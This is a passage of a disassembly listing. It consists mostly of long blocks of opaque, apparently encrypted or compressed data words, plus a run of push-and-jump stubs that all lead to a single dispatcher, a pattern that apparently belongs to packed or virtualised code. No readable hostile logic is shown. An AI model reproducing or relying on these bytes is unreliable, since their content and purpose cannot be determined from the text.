		dd 7222DC6Bh, 72FE4BDBh, 6C7C9D28h, 0AD7AEDC9h,	0B6F8D3D8h
		dd 0DD69F96Ah, 22B1715Eh, 0B545D572h, 6F19AA29h, 1DAD75F1h
		dd 2701B191h, 43C24EDAh, 75F16F0Ah, 7D5D2ABAh, 5778F735h
		dd 0F775F16Fh, 7130D767h, 28D060FCh, 0E053B7h, 0E1D20000h
		dd 931CFC49h, 4C62428Fh, 5A787D4h, 0C8EACA17h, 0BF601360h
		dd 0A8F5337Fh, 0F03DE9C8h, 34819D10h, 7BC85C54h, 0C50A8915h
		dd 89722477h, 0A28258B9h, 13A3140Ch, 31C70887h,	0F78775F3h
		dd 0C4684A2Ah, 3194B938h, 0A83875F3h, 0F3312429h, 8818A875h
		dd 0CF555B3Bh, 822E2182h, 5F5131A2h, 159A3C75h,	7C0C9C0Dh
		dd 9EEB7B0Bh, 0AD39A0C9h, 240AFA2Eh, 49BA4A72h,	90DD4769h
		dd 0B32400B0h, 68664727h, 814EDE4Ah, 8D46E002h,	72B5137Ch
		dd 7FDAD822h, 0FF25B647h, 0C65E5232h, 34A3ED79h, 0FAF813F2h
		dd 0B4FCDCA9h, 8D1FFF70h, 713E1E8Fh, 4D6040B1h,	66C0F1D1h
		dd 0DB1E7CF5h, 8BCE2C87h, 0A10BC9E7h, 7F5FEB7Bh, 0D623F02Eh
		dd 0E3FBE4Ah, 0BE7C8DA7h, 2F81612Eh, 32084F5h, 0BF000000h
		dd 852E5FC0h, 5C5434A5h, 367757C8h, 1A9777E8h, 0F7BB9B0Ch
		dd 0D2E0C031h, 0A705E556h, 8A240475h, 6A452596h, 68AB47B8h
		dd 7669h, 50242C89h, 405E089h, 2D000000h, 4, 5C240487h
		dd 56240489h, 0C681E689h, 4, 4EE81h, 34870000h,	2C895C24h
		dd 7BBB5324h, 0B81C6340h, 1BB47C2Bh, 1C8BD831h,	4C48324h
		dd 214C68h, 24248900h, 4240481h, 5D000000h, 51C28952h
		dd 4D89D189h, 0FF5A5908h, 835D2434h, 34FF04C4h,	0C4815824h
		dd 4, 0FB111AE9h, 0F3E33FFFh, 0D74761B8h, 0FFC50307h, 1889BE0h
		dd 193E1425h, 2549BC4Ah, 4AFB1670h, 83FD467Eh, 5A763D78h
		dd 307FAF7Ch, 2E20417h,	12CF0A6Fh, 174D5A22h, 30868114h
		dd 85829E0Ch, 0A1D78448h, 58C0855Dh, 0D9298139h, 668B9763h
		dd 0FA2DB322h, 1E661459h, 53C13451h, 79BFEA29h,	8AB30422h
		dd 46A26746h, 76606E03h, 0CE80Ch, 207A0000h, 0EB251DE8h
		dd 291E2A74h, 59FC1378h, 1EB86653h, 0C1815ABBh,	643Eh
		dd 0E9BB3BB0h, 0F000018h, 83h, 0F398B00h, 85h, 14EF8100h
		dd 0B8020628h, 689A9D1Ch, 0C732EF81h, 6E83C0Fh,	52000000h
		dd 0E9D7E8DAh, 6D28019h, 0FBC78158h, 664B7774h,	6657D68Bh
		dd 9990C881h, 0ECB6018Fh, 0FB54E981h, 9CBA3D0Fh, 81194B00h
		dd 0FFB50C1h, 850F4B3Dh, 14h, 1DE9F78Bh, 0D7000000h, 29C187F9h
		dd 71207969h, 96E8136Dh, 0FF93E9FCh, 0A7FDFFFFh, 0DB0CA3D9h
		dd 25E15C7Ah, 0D7E9h, 0B7715100h, 459CD716h, 0E1C8C3CAh
		dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh
		dd 0
		dd 129D7447h, 5E99E0E3h, 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EC4FB
; ---------------------------------------------------------------------------
		push	7D74BA1h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D74CB4h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D74D9Ch
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D74F07h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D74F79h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7500Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D750B6h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D75163h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D751FDh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7535Ah
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7547Ah
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D755CEh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D756CDh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7580Bh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D7594Eh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D75B41h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D75C1Fh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0B4h
; ---------------------------------------------------------------------------
		retf	8916h
; ---------------------------------------------------------------------------
		db 9Ch
		dd 8A7704F8h, 7966F30Dh, 624FDC1Ah, 803BC820h, 0FDFB971Dh
		dd 0EA008370h, 0D513705Dh, 0BF3D5B48h, 0E7A49032h, 19FFFE86h
		dd 2278563Eh, 0B4F47936h, 39D01228h, 0CCDFBDAAh, 28B55E0Fh
		dd 66026612h, 579560DFh, 0A78C23BAh, 911EDABAh,	86729703h
		dd 6190DD9Ah, 9D341229h, 965220Eh, 0BB19FA96h, 66533F24h
		dd 0FCE9CE22h, 0E87F6498h, 6405C251h, 7319FA95h, 575859C8h
		dd 86419F13h, 5Bh, 15EBAD9Ah, 1280A886h, 5A1703EFh, 1228B513h
		dd 9F8B1AB1h, 0F9DCD0E2h, 4B08F419h, 19F9DD22h,	8F740BA2h
		dd 0F9DC97D2h, 66954019h, 6607C4B0h, 5E19F9DCh,	0F4D91771h
		dd 0C037C65Dh, 419E5DEFh, 0C5B971D5h, 0A76FFA15h, 0B94518h
		dd 6C590000h, 0E41A7D29h, 0ECD168FFh, 22E8C655h, 0B79C5235h
		dd 0E4A49120h, 54362308h, 0CACAB79Ch, 3C5C492Eh, 0DD7633C0h
		dd 9F1228B9h, 897603E1h, 1C08ED0Bh, 594522Fh, 0FAE60B77h
		dd 0F9CE013Dh, 9F2CC319h, 94806111h, 0CDAF42D7h, 0FFEB8221h
		dd 0EB787012h, 0B0649CFEh, 0FEBF14FBh, 5CC84025h, 80000012h
		dd 6855E21Eh, 5643D02Ch, 4532BF31h, 2E1BA846h, 4C07946Ch
		dd 0C13F5B51h, 0AE4C4734h, 99573421h, 83611F0Ch, 0AB6854F6h
		dd 19FFFFC2h, 223C1A02h, 0B89D5335h, 0E5A59221h, 55321F0Bh
		dd 901FB69Bh, 0C72B1703h, 26F76CDFh, 0CF9E5BFEh, 0F51228C8h
		dd 0A2E2CF5Eh, 80DBB946h, 4603EF12h, 19F9DD6Ch,	1FDCC158h
		dd 19F9DE4Ah, 0F8B5A18Dh, 19F9DD75h, 8F54B84Fh,	0C2AEE7ECh
		dd 4AB964F3h, 8FAD70D4h, 0D4AC7905h, 11A037B5h,	9E7A159Ah
		dd 0C0C841h, 21EA0000h,	3D512F63h, 25BCA15Fh, 7B12A98Eh
		dd 0FE9A996h, 0B9E66D2Ah, 33971228h, 6E299492h,	0B014AB90h
		dd 109F34F8h, 0FA876523h, 7F1B8F0Dh, 11FEEA81h,	0F9907573h
		dd 0AC99856Ah, 0F38110ECh, 89766287h, 7209EE08h, 43AF7E3h
		dd 0C019FA23h, 9C0E9C29h, 0B9A5917Dh, 0FA2271FCh, 2DBC5319h
		dd 0CE019870h, 0A9952C21h, 33B1D0BDh, 3B28B74Eh, 2714A15Fh
		dd 9AD98D6Bh, 0CAFEBEA3h, 11496DE5h, 316D0000h,	335542CFh
		dd 424330BDh, 53321FACh, 7F1B0895h, 6439F481h, 29B63250h
		dd 16A3593Ch, 18E6829h,	0EB787414h, 0CDA05D49h,	0F71A0000h
		dd 6121310Fh, 8F0DFA87h, 84AC82A4h, 5FF6E5A9h, 6321F4D2h
		dd 0D5B3A085h, 0F89D8A17h, 6A2D1A06h, 8918AF94h, 1BD9B7A4h
		dd 0DD5DB18Eh, 7F87FADh, 0F4B84FD0h, 9885715Dh,	0DE3A5F9h
		dd 6BFA9128h, 0FABE70AEh, 2A675419h, 13D035CCh,	1184F057h
		dd 0E19E1684h, 1184EF8Ch, 0EEC4C679h, 0C96E6135h, 0F2AF9B32h
		dd 19567778h, 0A3DEE84Ch, 168C61B8h, 0C2AE9A7Fh, 55B86805h
		dd 1CA59D19h, 0E3363E91h, 0DABAA73Eh, 13A2391Eh, 8F41585h
		dd 2AAA084Bh, 13117521h, 0F454EBB7h, 71D57A09h,	571424B8h
		dd 7965FC21h, 63F00C8Ch, 3841676h, 0D5A256EDh, 7FE1A3Ah
		dd 1061AA22h, 19850000h, 2B6D5AE7h, 3A5B48D5h, 4B4A37C4h
		dd 573320ADh, 4C510C99h, 41CE2A68h, 2EBB3154h, 19A64041h
		dd 3906C2Ch, 0B5B87561h, 0F1A0001h, 63214927h, 0B4FA7330h
		dd 33CA1228h, 67CBB79Ch, 0E296913Eh, 74029111h,	3AF7E306h
		dd 19FA5768h, 75D9C55Ch, 0B2AFC517h, 3BC8577Ah,	301CFDADh
		dd 0CB6BA773h, 0A1861D21h, 0CB6B85E4h, 5D9BF721h, 9ECF8C78h
		dd 2621CB6Bh, 5E3A28Fh,	1A09B420h, 0CD3CE779h, 6FECE3CCh
		dd 5BFA49h, 210E0000h, 0CA38866h, 12809F7Dh, 2D4603EFh
		dd 5019FA02h, 66CA2063h, 3040B746h, 0A348D7DCh,	5233200Ch
		dd 35210D9Ch, 3AAC62D1h, 63F25709h, 4EDB1576h, 0FA72DA91h
		dd 0D2B6A319h, 0E2A28F1Eh, 0F8C7906h, 8C940CF1h, 0A800000Fh
		dd 726EFFBCh, 0F25619FAh, 5E3BD163h, 1DAC43A4h,	0EF12803Fh
		dd 7D731603h, 0BA4502EEh, 0A19FFFEh, 0AE9B8773h, 978413EDh
		dd 220FFBF9h, 0B9A68B65h, 0A43B20DEh, 5F17E0Dh,	9B807C18h
		dd 807E1704h, 688404F1h, 0F8F68F7Ch, 8ED7C13h, 0D794087Ah
		dd 19FFFE96h, 1400972Eh, 0A88D6B27h, 0D9968211h, 21D7477Bh
		dd 0D9C6B249h, 0C4B03DBBh, 48521BD8h, 857221D7h, 7007EC02h
		dd 3F5D4AD9h, 5C4EDCC1h, 0EA14D1BDh, 0DA29A871h, 53BC8F43h
		dd 3F24E664h, 0EF6C7h, 7C641A00h, 6A8602EFh, 5997F0DDh
		dd 42A0DFCCh, 2ECAC8B5h, 0F5B7E6A1h, 0E1CE5B95h, 0CEBB48A6h
		dd 0B9A633CDh, 0EE901DDBh, 4284502h, 0B49C1A00h, 0B51851D6h
		dd 0D7C31228h, 0D3894632h, 0F119FFFDh, 3816E5Ah, 2D6B58E5h
		dd 2E5CEACFh, 8022DFCBh, 0FD21D129h, 2A195411h,	0BFAB21D1h
		dd 0D1296B02h, 2BC25921h, 0AC60F79Ch, 0FEB39BAFh, 84DC5439h
		dd 0A800000Eh, 907D0AF6h, 7E6BF8F4h, 6D5AE719h,	5643D02Eh
		dd 742FBC34h, 0E9078329h, 0D6146F5Ch, 0C13F5C49h, 0AB494734h
		dd 0D3907C1Eh, 1A00039Ah, 2164422Ah, 0B3A08563h, 8E3217D5h
		dd 11FE34E3h, 0FE957A74h, 0E5747211h, 0CD32416Eh, 8EE9C39h
		dd 80BE0000h, 4603EF12h, 19FFFE23h, 321E0AA1h, 1FAE4045h
		dd 9965232h, 94807C1Ch,	280DEBA7h, 601D0291h, 19FFFE09h
		dd 5541A0D2h, 0D1290A98h, 0CFCDBA21h, 0A9474431h, 0E2962DC4h
		dd 0FEB39AFBh, 0F08C04E9h, 1400000Dh, 0FCE9766Ah, 0EAD76498h
		dd 0D9C653ADh, 0C2AF3CBAh, 0E09B28C0h, 5D9BF7BDh, 4AA0E3D0h
		dd 35B3D0BDh, 1FDDBBA8h, 4704F092h, 1A000526h, 21D8B69Eh
		dd 0B3A08563h, 8E3217D5h, 18D6B5A2h, 6E2FDE89h,	39CD3241h
		dd 85F9Ch, 1851BE00h, 651228B5h, 4DDC1878h, 422ED3BFh
		dd 0D9BE3055h, 0D4995642h, 0F01228B4h, 21DECA59h, 19FFFE88h
		dd 0CCB9A53Ch, 0B6A330CCh, 49351AD6h, 0E833ECE5h, 0D8ADCE25h
		dd 0CD1EBC1Ch, 51DF6E05h, 17D4C021h, 21D1238Bh,	244906F2h
		dd 0A021D124h, 3ED57A09h, 0B381658Ah, 0EA6247FEh, 0D47h
		dd 40CD336Bh, 2EBB3153h, 1DAA4441h, 6935130h, 0F27F7919h
		dd 4C4E6637h, 5F3A27B4h, 6A2714A1h, 7212FF8Ch, 5B47E976h
		dd 4CF9Eh, 2F0DF51Ah, 0A0856321h, 3217D5B3h, 0C8AD4345h
		dd 5A3FBDDBh, 0D6B76611h, 17988732h, 39CD3298h,	7AF45h
		dd 12806700h, 66FDFB99h, 0F40A8D7Ah, 0FDE9780Fh, 0FFFE7E40h
		dd 5613FF19h, 19FFFF17h, 0E28716ADh, 12725F4Bh,	3C5C49D6h
		dd 4B1EDBC0h, 9019FFFFh, 2613FFE2h, 0EA58A66h, 0FF086522h
		dd 25BC19FFh, 0B5EDAA96h, 0F21D129h, 2A076623h,	26BD21D1h
		dd 9BD8DB8Fh, 0A388FEB3h, 0C9A2Bh, 20C0BE00h, 0EE2A693h
		dd 0FDF39481h, 0E6048370h, 0D22E6C59h, 0A1138A45h, 8D7A07E1h
		dd 7A67F40Ah, 6552DF19h, 9A3CC927h, 57CF1AEh, 60481A00h
		dd 85632182h, 17D5B3A0h, 0B6A28E32h, 28B474F9h,	2AB95012h
		dd 0A00F907Fh, 3D39CD32h, 704h,	0B51D515Fh, 0CCBE1228h
		dd 1784412Dh, 0AD19FFFEh, 5F3D2A16h, 776F1FD4h,	6ED23DADh
		dd 17735063h, 58E57CD9h, 0EACF2D6Bh, 7A7411FEh,	0E16FFE95h
		dd 0A76450B1h, 21D10003h, 0F20C8D7Ah, 7327BE63h, 0FEB3A56Eh
		dd 0DD553Ah, 2400000Ch,	0CF9867Ah, 0FAE77488h, 0E9D6639Dh
		dd 0D2BF4CAAh, 0F0AB38B0h, 6D8B07ADh, 5A90F3E0h, 45A3E0CDh
		dd 2FCDCBB8h, 571400A2h, 1A000616h, 21E8C6AEh, 0B4A08563h
		dd 0BCD8CCC7h, 2DC45B40h, 0B4E98441h, 44DB1228h, 2CC8C8B5h
		dd 0E110BB47h, 18E6A2Ah, 0CD36258Ah, 4FB39F39h,	0BEE00F88h
		dd 4528E55Ch, 0C0122829h, 0CD499371h, 9A31D66Dh, 3015EBADh
		dd 4F370A99h
		dd 4B000001h, 0AF6C3F5Eh, 122857BEh, 0F3D86F06h, 21EFCD5Ch
		dd 0AD998563h, 28B47DF0h, 21B04712h, 0A764503Ch, 1228B4C6h
		dd 0EBD867FEh, 34C24FADh, 3646D646h, 94F4BA20h,	3B495769h
		dd 0B249E0E6h, 42BCD9C6h, 3062C65Dh, 0F3E68EABh, 85422EBDh
		dd 19FA01E9h, 0A25F44DBh, 19FA01C7h, 0F5B66510h, 419E7EBAh
		dd 3123h, 12804500h, 6C4603EFh,	5819F9DDh, 4A1FDCC1h, 8D19F9DEh
		dd 0A00C3DA1h, 0CC777A28h, 0FA535E0Fh, 38CF6619h, 8E0FFEA9h
		dd 419ED521h, 8DBCh, 3522DE00h,	22B99E50h, 0AE6A693h, 9E5A3825h
		dd 30CCCCB9h, 6C3E5E4Bh, 59F0D52Bh, 0EB7835C2h,	911228E0h
		dd 1C09F5F3h, 8D6B2A7Ch, 0EB7A11A8h, 3FA2D05Eh,	0BFF09653h
		dd 3DD419FCh, 0CA266451h, 0B632503Dh, 0CFE5F302h, 54CCB1F6h
		dd 0AA3h, 9C29D7C7h, 8A17D5AFh,	7906F89Dh, 62EF0D8Ch, 4EDB1575h
		dd 0E0A20A93h, 0B8E7B08h, 1E7B68F5h, 266653E0h,	0AF9B3DCAh
		dd 77BF2h, 8361491Ah, 0FA876121h, 85718F0Dh, 6EFDFB98h
		dd 632103E1h, 0D5B3A085h, 823F2B17h, 1228B4EBh,	3D30EDD9h
		dd 871228B5h, 3DCA59F0h, 4FFC5h, 0AEECD900h, 2806D52h
		dd 0D36A01E6h, 12806644h, 2B1703EFh, 0BEA35D3Eh, 0B5036A27h
		dd 2AC11228h, 340212C6h, 0F483669Ch, 0FA687737h, 0A4614D19h
		dd 19FA68C9h, 0E1CD64FBh, 6D3C497Dh, 0E377611Fh, 983498E4h
		dd 13F887BFh, 0FA8A1356h, 0EA19C419h, 9F0B06A9h, 22DD741h
		dd 51F90000h, 1228B51Fh, 3F2BCEBCh, 0C3AA6753h,	11228B4h
		dd 0E57C7014h, 0FE089956h, 897519FFh, 0FFFDA1CCh, 0FD8C2319h
		dd 0E8D5C158h, 2F3EFBACh, 9519FFFEh, 0ECD867FEh, 8A0D81FFh
		dd 6350DD74h, 7E127125h, 6A01E61Ah, 6B57EED3h, 0FFFDBFAEh
		dd 0D76E0519h, 0D33664F2h, 12802AE7h, 0AD4421D1h, 0B3B11CF9h
		dd 33AB90FEh, 983h, 7C09F7A7h, 6AF7F58Fh, 59E6187Dh, 42CF2D6Ch
		dd 2EBB3555h, 822A73h, 2B6E5BE8h, 3E5B48D5h, 464633C0h
		dd 8F7B1DAAh, 89BD2h, 6341291Ah, 0F4793622h, 0D01228B4h
		dd 0B249A7E3h, 3EE4184Eh, 29B80DCBh, 90D35C3Ch,	7453F0B8h
		dd 0B148A0E2h, 4848351Ah, 0E1B0E9DFh, 4603D833h, 1229A727h
		dd 0D86F069Dh, 6D8306F3h, 2F89B88h, 6D9C471Dh, 26D5800Ch
		dd 0C65391EFh, 0CE28604Fh, 1417D39h, 219F0000h,	5A8CB863h
		dd 0FAF029A6h, 0F3917E63h, 781C09F5h, 79089F84h, 0CD2C5EECh
		dd 0F14A24E1h, 0E37A19F9h, 632512FEh, 8211A88Dh, 0F9F0A4C5h
		dd 99883319h, 9E6E9718h, 424641h, 6D5A0000h, 6947D628h
		dd 3EF1280h, 0F9DD6C46h, 61241119h, 0F357FC8Bh,	8A9DB605h
		dd 0BBA03761h, 0FA686BFEh, 22761119h, 0EA58A66h, 0E6A59277h
		dd 0EC972308h, 1FCA5C3Dh, 0EA00AFF0h, 9CDD419Eh, 0FF000000h
		dd 0A0856321h, 3419D7B3h, 0C6AB4947h, 0FCE8BBD9h, 28B52E3Fh
		dd 42FF9612h, 1228B52Bh, 0DE6B0299h, 29085221h,	8E6A2A12h
		dd 0E2077301h, 0E74D39F6h, 433019FCh, 9AD0DE41h, 5C74B7C6h
		dd 0FA9136C5h, 8761210Eh, 738D0DFAh, 0CF645CBFh, 0E75F44F6h
		dd 82Fh, 28B52B53h, 16A3593Bh, 5926C29h, 0EE7B7918h, 0DA678101h
		dd 54367E1Fh, 67220F9Ch, 720FFC89h, 9AFAE774h, 432FD15Eh
		dd 9E786h, 17F5DD1Ah, 0FA876121h, 8563210Eh, 58A63CA0h
		dd 8FD6390h, 97F5E271h,	21EECC59h, 0AC998563h, 3F2B10ECh
		dd 28B4EB82h, 0AB42D912h, 4A4A371Ch, 0D0BC3858h, 28B55A13h
		dd 3CD36A12h, 27A37AFh,	80590000h, 4603EF12h, 19FFFEB5h
		dd 0A793780Fh, 5A1F7A43h, 0B9AA7E1h, 921B4Eh, 0E3D0BC1Ah
		dd 395B48A6h, 9A8934C3h, 0A5139619h, 20E4741h, 51690000h
		dd 1228B51Fh, 3F2BCEBCh, 0FFFE7182h, 0D0BC5319h, 323BF8E4h
		dd 4B19FFFFh, 0FFFEDF8Eh, 0A94EE519h, 0F6968312h, 0FE85E8A5h
		dd 0A83F19FFh, 0F9978411h, 1A8816FBh, 331F0BF7h, 0C8AD4346h
		dd 0FEF97431h, 880C19FFh, 0E5A04A58h, 0B03FD67Bh, 0D0E7B7F3h
		dd 0C2760D21h, 0FEB3DC51h, 30EE664Bh, 54000007h, 3C29B62Ah
		dd 2A17A458h, 1906936Dh, 2EF7C7Ah, 20DB6880h, 9D5B377Dh
		dd 8A602310h, 757310FDh, 5F9DFBE8h, 874430D2h, 1A000AE6h
		dd 2118F6DEh, 0B3A08563h, 0A63217D5h, 32CCCDBAh, 1209F8A3h
		dd 9E8A7672h, 28B48CE1h, 4E4B3812h, 0EFB519B0h,	91C8C742h
		dd 3AB13ECDh, 39CD6D75h, 14B68h, 63218A00h, 0D5B3A085h
		dd 8EFC8A17h, 6D277315h, 7561F88Fh, 0F9E8B6B8h,	92770E19h
		dd 0F9E894D5h, 69984319h, 9E668728h, 575641h, 7D6A0000h
		dd 7654E31Dh, 0F4793622h, 0D01228B4h, 6E1CAA39h, 0D0E29F8Bh
		dd 0F419F9DCh, 288C785Dh, 0DC17D93Fh, 35F281C1h, 19F9EC34h
		dd 0C8AD4B48h, 5D42B8DBh, 0F1D61270h, 0B766115Ah, 6A9944D6h
		dd 22CB50B4h, 0CA7C05A3h, 0CDEBC43Bh, 0ECD9419Eh, 0F1C453A9h
		dd 0BAh, 2F632113h, 12FE9553h, 0D5BB6625h, 0F927FDD6h
		dd 49E0C55Ch, 0AAE8D5BAh, 1C7C694Eh, 0CB9FCE8Bh, 8E251228h
		dd 7D1E0BF7h, 78079E83h, 0AE6A693h, 45C3C07Dh, 0DBB91229h
		dd 9002901Dh, 0BEC88571h, 619FD24h, 0F496836Fh,	826FFCh
		dd 9FFD34E8h, 3E23F6CFh, 5F2C6h, 78681600h, 669AFEEBh
		dd 55ABECD9h, 3EBCDBC8h, 2AC6C4B1h, 0F9BBE29Dh,	0E5D25F99h
		dd 0D2BF4CA2h, 0BDAA37B1h, 0F29421DFh, 0D244906h, 0B8A01A00h
		dd 793622DAh, 1228B4F4h, 0BDAA39D0h, 0AA9623DDh, 0B46C01BEh
		dd 0C1581228h, 54474532h, 28B4D697h, 6A57EE12h,	0A936CD2Bh
		dd 4E6759BDh, 8540E04Fh, 632118F6h, 0D5B3A085h,	3D128A17h
		dd 34000000h, 99856321h, 0B47DF0ADh, 0F7881228h, 2561DF55h
		dd 5BEA8126h, 0ED0B8976h, 11689D01h, 776607C4h,	0C75E1229h
		dd 8F24C263h, 4AF1B00h,	827E1E15h, 7D1C09F5h, 2078F07Fh
		dd 9A000000h, 0A0856321h, 28B487E3h, 0BAA79312h, 0E48F1EDAh
		dd 629EFE35h, 3885E9D5h, 0AE7D9CEDh, 21B59322h,	12A08563h
		dd 0D8958160h, 19FFFE27h, 2D1A069Dh, 1704916Fh,	89672579h
		dd 137F0DF2h, 64FBF998h, 4699BB78h, 0F7E421D7h,	0DE755A98h
		dd 7CF0527Ah, 9F2E2671h, 8B7763FAh, 4640C27h, 7504979Fh
		dd 0EC0888h, 0EA797713h, 0D410705Dh, 5F9DFBE8h,	12FFEBD0h
		dd 0FB927771h, 4DACDE6Ch, 8B5AA461h, 7E6A29A8h,	0A88AACC1h
		dd 0EA811829h, 6439E936h, 0CE462BE6h, 4AFh, 0A835ABD3h
		dd 9623D9BBh, 8512ECA9h, 6EFBF998h, 5AE70181h, 0D4B6FE9Fh
		dd 0E7A28F1Ch, 0F28F7C09h, 1A7A67F4h, 0C3AF51DEh, 0D6706h
		dd 97755D1Ah, 0F4793622h, 0D01228B4h, 0DFBDAA39h, 9A31CFCBh
		dd 2F60200Dh, 28B4FB72h, 9B32C912h, 0F266CAB6h,	0B56FD4CAh
		dd 6093BB47h, 7DD606FCh, 658301EEh, 0DA49F480h,	0DBC72563h
		dd 0F03B32EFh, 9D891228h, 28EF8DE0h, 9A03712h, 1401ED7Ah
		dd 71E87775h, 39CD713Eh, 809Fh,	454FB300h, 0F8F494B9h
		dd 84187C13h, 4429E6DBh, 801229AFh, 0E5C352E9h,	0DD9A1280h
		dd 1228B490h, 0F4B19D34h, 1228B479h, 311DB44Bh,	0FA01FF74h
		dd 422EC519h, 0D22C6956h, 286956EDh, 0C352E9CEh, 0AE3BB5D6h
		dd 0FA017AF1h, 66820219h, 47CE167Ah, 964BC1A8h,	0C8D7A07h
		dd 0BD210DF2h, 23E276F2h, 75731213h, 5593F1DEh,	0D24AD970h
		dd 3B7h, 303DFAE6h, 4C19F9F6h, 210EB349h, 64F38A64h, 2F632186h
		dd 0C1AD9250h, 28B46904h, 2DC45B12h, 0C4C4B196h, 9D0D9B28h
		dd 9BD3907Ch
		dd 2919F9E8h, 79F0AD92h, 5E19F9E8h, 6C4344B3h, 58419E66h
		dd 0E0BEAF6Ch, 6F0619F9h, 300DE0h, 802F0000h, 0FFF99912h
		dd 0F3BF7C68h, 0D119F9DCh, 0D198553Ah, 619F9DCh, 0C4EBAC5Bh
		dd 19419E5Dh, 0DDh, 0E984412Dh,	0DB19F9D0h, 0BC3A5744h
		dd 63214F2Dh, 0C7B4A085h, 0B29F2ECCh, 473318D0h, 0DBC0385Ah
		dd 0C03E5744h, 0DB444431h, 448F9927h, 6652E903h, 0F4E11F79h
		dd 0DE755A96h, 1F7D6A4Fh, 0BC9754E1h, 0C012292Ah, 0AA9724C0h
		dd 3D290EEAh, 0CFB43050h, 6F1BA938h, 99E19E8Ah,	2B19FA4Ah
		dd 9790794h, 413FFCE8h,	3C21CE2Dh, 3CF052D8h, 0E473958Ch
		dd 0CFBCA83Fh, 0BCA835B3h, 0A837B5CFh, 6D21DFBBh, 0FEBE5F9Ah
		dd 0BC6DE5CAh, 0E0000002h, 0C8B542BEh, 0B6A330CCh, 0A5921FD1h
		dd 8E7B08E6h, 0AC67F40Ch, 21DFBBF1h, 0EECA794h,	0F9F79481h
		dd 0E3017F6Ch, 0BC8B456h, 1A000F62h, 219C7A62h,	0B843BA61h
		dd 61D73C6Bh, 42D91774h, 2CC8C8B5h, 0D6975440h,	0EE1229B2h
		dd 81668001h, 37C453EAh, 0EF128059h, 0DD6C4603h, 0C15819F9h
		dd 0DE4A1FDCh, 0E28D19F9h, 5F3D7233h, 0B3A0419Eh, 0C2000000h
		dd 0A0856321h, 3419D7B3h, 28B9DC77h, 4E0A012h, 0EE0A8A77h
		dd 57301D09h, 8E1DB499h, 836F9200h, 0F9D9B4C6h,	60231019h
		dd 0DFB8A58Ah, 0EA53C21h, 0EA91ECAAh, 0B44B7510h, 0A64B64C8h
		dd 70FBB34Bh, 0D4C654E1h, 958C4935h, 2F21CDADh,	0C3BFAC98h
		dd 4E4C3925h, 2151A5E5h, 64FB9F56h, 3F5B48D5h, 19440DC1h
		dd 7B60FEBFh, 1DE03h, 649C0200h, 52AEEAD7h, 41BFD8C5h
		dd 2AC8C7B4h, 16D2B09Dh, 0DDCFCE89h, 0C9B643BDh, 0B6A330CEh
		dd 0A18E1BD5h, 0D67805E3h, 11402DEAh, 9C841A00h, 876121BEh
		dd 718F0DFAh, 2EF99885h, 1B8A2C8Ch, 5AE98008h, 3522EFCDh
		dd 1EB59A54h, 6E2A28Fh,	98543421h, 25C3BFACh, 7C1C0996h
		dd 9D0D9B80h, 8BD3907Ch, 3919F9CFh, 6914BDA2h, 0E70583BAh
		dd 3BDECC5Ah, 0FDA8924Fh, 851C21CAh, 17D5B3A0h,	0EC1BC632h
		dd 0E08D4A36h, 0E421CAFDh, 785D9BF7h, 2DBB4AE1h, 0C4B09C7Dh
		dd 0E0B5E660h, 41D0938Bh, 9C1BB684h, 8B770E29h,	1D02FE9Eh
		dd 0B2975530h, 68F5841Bh, 0F3F18F7Ch, 0FBE8770Eh, 86735F9Dh
		dd 1B08ED03h, 89ED847Ah, 6148858Ch, 0C2A736CCh,	4E3AB4D5h
		dd 0E3C82661h, 2FD8BD4Ch, 0FE9E9584h, 9D897502h, 9BBD8DE0h
		dd 11A03729h, 6F21783h,	6CD91549h, 0C1C2AF31h, 30554227h
		dd 7E3B27BEh, 316CD8EFh, 0C2A73ED5h, 0A4E3B7D5h, 33CA6146h
		dd 0C721614Eh, 5B95F5E2h, 0EC0A8976h, 4526D580h, 0C7C3B09Ch
		dd 9B584429h, 316CD8D2h, 35C45BF2h, 0B8A59B8Ah,	0FE8C1BD9h
		dd 94816D8Ch, 8118FDF3h, 154906F2h, 0AF393DF4h,	8DFD8B18h
		dd 0F4135A17h, 1AB1393Dh, 76DA9783h, 4E41153Ch,	0EF97E7EAh
		dd 55EC9887h, 0C1AC0569h, 0ADEBF628h, 337F1B49h, 53E2573Dh
		dd 0E503816Eh, 834095F9h, 3615C24h, 997E7216h, 0FAE67302h
		dd 4D1C510Eh, 11A84115h, 0F9F79582h, 7CB95714h,	99445275h
		dd 17D5B36Ah, 0EB823F2Bh, 0D952757Ch, 3926B342h, 0CBB89D5Bh
		dd 0A0492ECCh, 710F06F5h, 0DE9B8773h, 52757C8Fh, 7D3C31EEh
